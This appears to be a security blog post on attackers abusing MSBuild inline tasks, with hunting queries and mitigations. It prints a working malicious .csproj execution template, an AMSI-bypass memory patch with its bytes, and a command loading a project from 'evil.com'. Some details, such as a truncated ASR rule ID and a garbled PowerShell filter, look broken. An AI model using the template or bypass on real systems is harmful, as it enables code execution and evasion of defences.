Listen to this Post
Introduction:
MSBuild, the Microsoft Build Engine, is a fundamental tool in every Windows developer’s arsenal. However, threat actors are increasingly weaponizing this trusted application to execute malicious code without triggering traditional security alerts. This “Living off the Land” technique allows attackers to blend in with normal system activity, making detection exceptionally challenging.
Learning Objectives:
- Understand the mechanics of how MSBuild can be abused to execute arbitrary code.
- Learn to identify key forensic artifacts, including command-line arguments and file patterns, associated with MSBuild attacks.
- Develop effective detection hunts and implement practical mitigations to harden your environment.
You Should Know:
- The Anatomy of an MSBuild Inline Task Attack
MSBuild allows for the definition of “inline tasks” within its project files (.csproj, .vbproj). These tasks, written in C or Visual Basic, are compiled and executed on the fly during the build process. Attackers embed their entire payload within these project files, turning a build tool into a code execution engine.
Verified Code Snippet (Malicious .csproj file):
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="AtomicRedTeam">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
public override bool Execute()
{
// Malicious code starts here
System.Diagnostics.Process.Start("calc.exe");
// Replace with shellcode runner or other payload
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
Step-by-step guide explaining what this does and how to use it:
1. Project and Target Definition: The XML defines a standard MSBuild project with a single target named “AtomicRedTeam”.
2. Inline Task Declaration: The `UsingTask` element defines a new task named ClassExample. It specifies the CodeTaskFactory, which allows for inline code compilation.
3. Embedded Payload: The `` block contains C code that is compiled in memory. In this example, it simply launches `calc.exe` to demonstrate execution. An attacker would replace this with a reverse shell, a PowerShell download cradle, or a shellcode injector.
4. Execution: The attacker saves this XML to a file (e.g., malicious.csproj) and executes it using the command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe malicious.csproj.
2. Key Command-Line Forensics for Detection
The command-line used to launch MSBuild is a primary indicator of compromise. Legitimate builds often reference solution files or specific project properties. Malicious use tends to be simpler and more direct.
Verified Commands for Hunting & Analysis:
Suspicious command-line examples to hunt for:
MSBuild.exe malicious.csproj
MSBuild.exe a.xml /p:Configuration=Debug
MSBuild.exe http://evil.com/script.xml
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe c:\temp\backdoor.csproj
Hunting via Windows Event Logs (4688) or EDR using PowerShell:
Get-WinEvent -LogName "Security" -FilterXPath "[System[EventID=4688]]" | Where-Object { $<em>.Message -like "msbuild" -and $</em>.Message -like ".csproj" -or $_.Message -like ".xml" }
Sysmon Event (Event ID 1) hunting query for a SIEM:
CommandLine="msbuild.exe" AND (CommandLine=".xml" OR CommandLine=".csproj")
Step-by-step guide explaining what this does and how to use it:
1. Identify the Process Creation Event: Focus on Event ID 4688 (Windows Security Log) or Event ID 1 (Sysmon) which log process creation.
2. Analyze the Command-Line: Look for MSBuild.exe being called directly with a single project file (.csproj, .vbproj, .xml). This is uncommon in most end-user environments.
3. Look for Anomalies: Be highly suspicious of MSBuild executing files from temporary directories, user profiles, or especially from a direct web URL (`http://evil.com/script.xml`).
4. Tune Your Queries: The provided PowerShell and SIEM queries are starting points. Tune them to reduce false positives by excluding paths used by your legitimate build servers and CI/CD pipelines.
3. Parent-Process Analysis for Behavioral Clustering
MSBuild is typically launched by developers through Visual Studio or by build agents like Jenkins. When spawned by an unexpected parent process, it’s a significant red flag.
Verified Commands for Process Tree Analysis:
Using PowerShell to get process tree information: Get-CimInstance Win32_Process -Filter "name = 'msbuild.exe'" | Select-Object ProcessId, ParentProcessId, CommandLine Cross-reference with parent process name: $Process = Get-CimInstance Win32_Process -Filter "ProcessId = '1234'" $Parent = Get-CimInstance Win32_Process -Filter "ProcessId = '$($Process.ParentProcessId)'" Write-Host "MSBuild PID: $($Process.ProcessId) was spawned by $($Parent.Name) (PID: $($Parent.ProcessId))" Common suspicious parents to alert on: - mshta.exe - wscript.exe - cscript.exe - powershell.exe - cmd.exe (from a user's context, not a system service) - rundll32.exe
Step-by-step guide explaining what this does and how to use it:
1. Identify the MSBuild Process: Use the first command to find all running MSBuild processes and their Parent Process IDs (PPID).
2. Trace the Parent: Use the PPID to query for the parent process’s details (name, command-line).
3. Assess Legitimacy: A parent of `devenv.exe` (Visual Studio) is likely benign. A parent of `powershell.exe` that was itself spawned by an Office application (winword.exe) is highly suspicious and indicates potential macro-based exploitation leading to MSBuild abuse.
4. Build Detections: Create alerts in your EDR or SIEM for MSBuild processes where the parent process is not in a pre-approved list of legitimate launchers.
4. Hunting for In-Memory Artifacts and AMSI Bypass
MSBuild can be used to load and execute .NET assemblies entirely in memory, avoiding file-based detection. The Antimalware Scan Interface (AMSI) can be a hurdle for attackers, which they often try to bypass from within the inline task.
Verified Code Snippet (AMSI Bypass within an MSBuild Inline Task):
<Code Type="Fragment" Language="cs">
<![CDATA[
// Common AMSI Bypass via patching
var amsiDll = LoadLibrary("amsi.dll");
var amsiScanBufferAddr = GetProcAddress(amsiDll, "AmsiScanBuffer");
byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // x86: mov eax, 0x80070057; ret
WriteBytesToMemory(amsiScanBufferAddr, patch);
// Now PowerShell scripts can be run without AMSI inspection
]]>
</Code>
Step-by-step guide explaining what this does and how to use it:
1. Understand the Components: This code fragment, which would be placed inside the `CDATA` block of the malicious task, uses P/Invoke to call Win32 APIs (LoadLibrary, GetProcAddress).
2. Locate AMSI: It loads the `amsi.dll` library and gets the memory address of the critical `AmsiScanBuffer` function.
3. Patch the Function: It writes a series of bytes (the “patch”) to the start of the `AmsiScanBuffer` function. This patch simply makes the function return a failure code (0x80070057) immediately, effectively disabling AMSI for the remainder of the process.
4. Hunting Implication: Detection should focus on the .NET methods used for this, such as `GetProcAddress` and `WriteBytesToMemory` being called from within an `MSBuild` host process. Behavioral EDR alerts on AMSI tampering are crucial.
5. Mitigations That Actually Work
Simply blocking MSBuild.exe is not feasible for development environments. Effective mitigation is layered, focusing on restricting capability and improving visibility.
Verified Mitigation Commands and Configurations:
1. Application Control via AppLocker or WDAC AppLocker Policy (XML Snippet) to block MSBuild from user writable paths: <RuleCollection Type="Exe" EnforcementMode="Enabled"> <FilePathRule Id="86f8be0d-8c7a-419d-8c83-43fc7e82b6d0" Name="Block MSBuild from User Directories" Description="" UserOrGroupSid="S-1-1-0" Action="Deny"> <Conditions> <FilePathCondition Path="%USERPROFILE%\" /> </Conditions> </FilePathRule> </RuleCollection> <ol> <li>Attack Surface Reduction (ASR) Rule via PowerShell Add-MpPreference -AttackSurfaceReductionRules_Ids d1e49aac-8f56-4280-b9ba-993a6d -AttackSurfaceReductionRules_Actions Enabled</p></li> <li><p>Constrained Language Mode for PowerShell This can prevent PowerShell payloads launched by MSBuild from being fully functional. Set in Group Policy or via registry: New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment -Name "__PSLockdownPolicy" -Value 4 -Force</p></li> <li><p>Network Restriction via Firewall Block MSBuild from making web requests (prevents downloading remote project files): New-NetFirewallRule -DisplayName "Block MSBuild Outbound" -Program "C:\Windows\Microsoft.NET\Framework\MSBuild.exe" -Direction Outbound -Action Block
Step-by-step guide explaining what this does and how to use it:
- Application Control (AppLocker/WDAC): This is the most effective control. Create a policy that allows MSBuild to run only from `C:\Windows\Microsoft.NET\Framework\` and explicitly denies execution from user directories like
%USERPROFILE%,%TEMP%, and%APPDATA%. This stops the classic attack pattern. - Enable ASR Rules: The ASR rule “Block Win32 API calls from Office macros” (GUID shown) can prevent Office applications from spawning MSBuild, breaking a common initial access chain.
- Constrained Language Mode: This PowerShell feature restricts the capabilities of PowerShell engine. If the MSBuild payload tries to drop into PowerShell, it will be severely limited.
- Network Hardening: Since MSBuild has no legitimate need to access the internet in most scenarios, a firewall rule blocking its outbound traffic prevents attackers from downloading remote project files or staging secondary payloads.
What Undercode Say:
- Trust No Binary, Only Behavior. The MSBuild case proves that no application, no matter how trusted or fundamental to the OS, is inherently safe. Defense must shift from a “allow-list of good apps” to a “deny-list of bad behaviors,” focusing on anomalous process trees, command-line arguments, and in-memory activity.
- Detection Over Blind Prevention. In complex enterprise environments, outright blocking tools like MSBuild is a business non-starter. The real victory lies in building high-fidelity, behavior-based detections that can catch the abuse with minimal false positives, allowing security to manage the risk without impeding development.
The analysis is clear: Living off the Land (LOL) techniques represent the new normal for sophisticated adversaries. MSBuild abuse is not an isolated trick but a single example of a pervasive strategy. Defenders who focus solely on malware signatures and hash-based blocking are fighting the last war. The future belongs to security teams that invest in deep endpoint visibility, robust logging, and analytics capable of discerning malicious intent from legitimate tool use across their entire estate. This requires a fundamental shift towards a “assume breach” mentality, where every process, even a core Microsoft one, is a potential threat actor.
Prediction:
The success of LOLBin attacks like MSBuild will catalyze a paradigm shift in both offensive and defensive security. Attackers will continue to discover and weaponize obscure features in trusted software, moving further up the trust stack into cloud-native tooling (e.g., Terraform, Ansible) and CI/CD pipelines. Defensively, this will force the widespread adoption of runtime application control, behavior-based AI detections, and mandatory integrity controls that restrict process capabilities based on their origin and context, not just their name. The line between legitimate administration and cyberattack will become increasingly blurred.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Atomics On – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
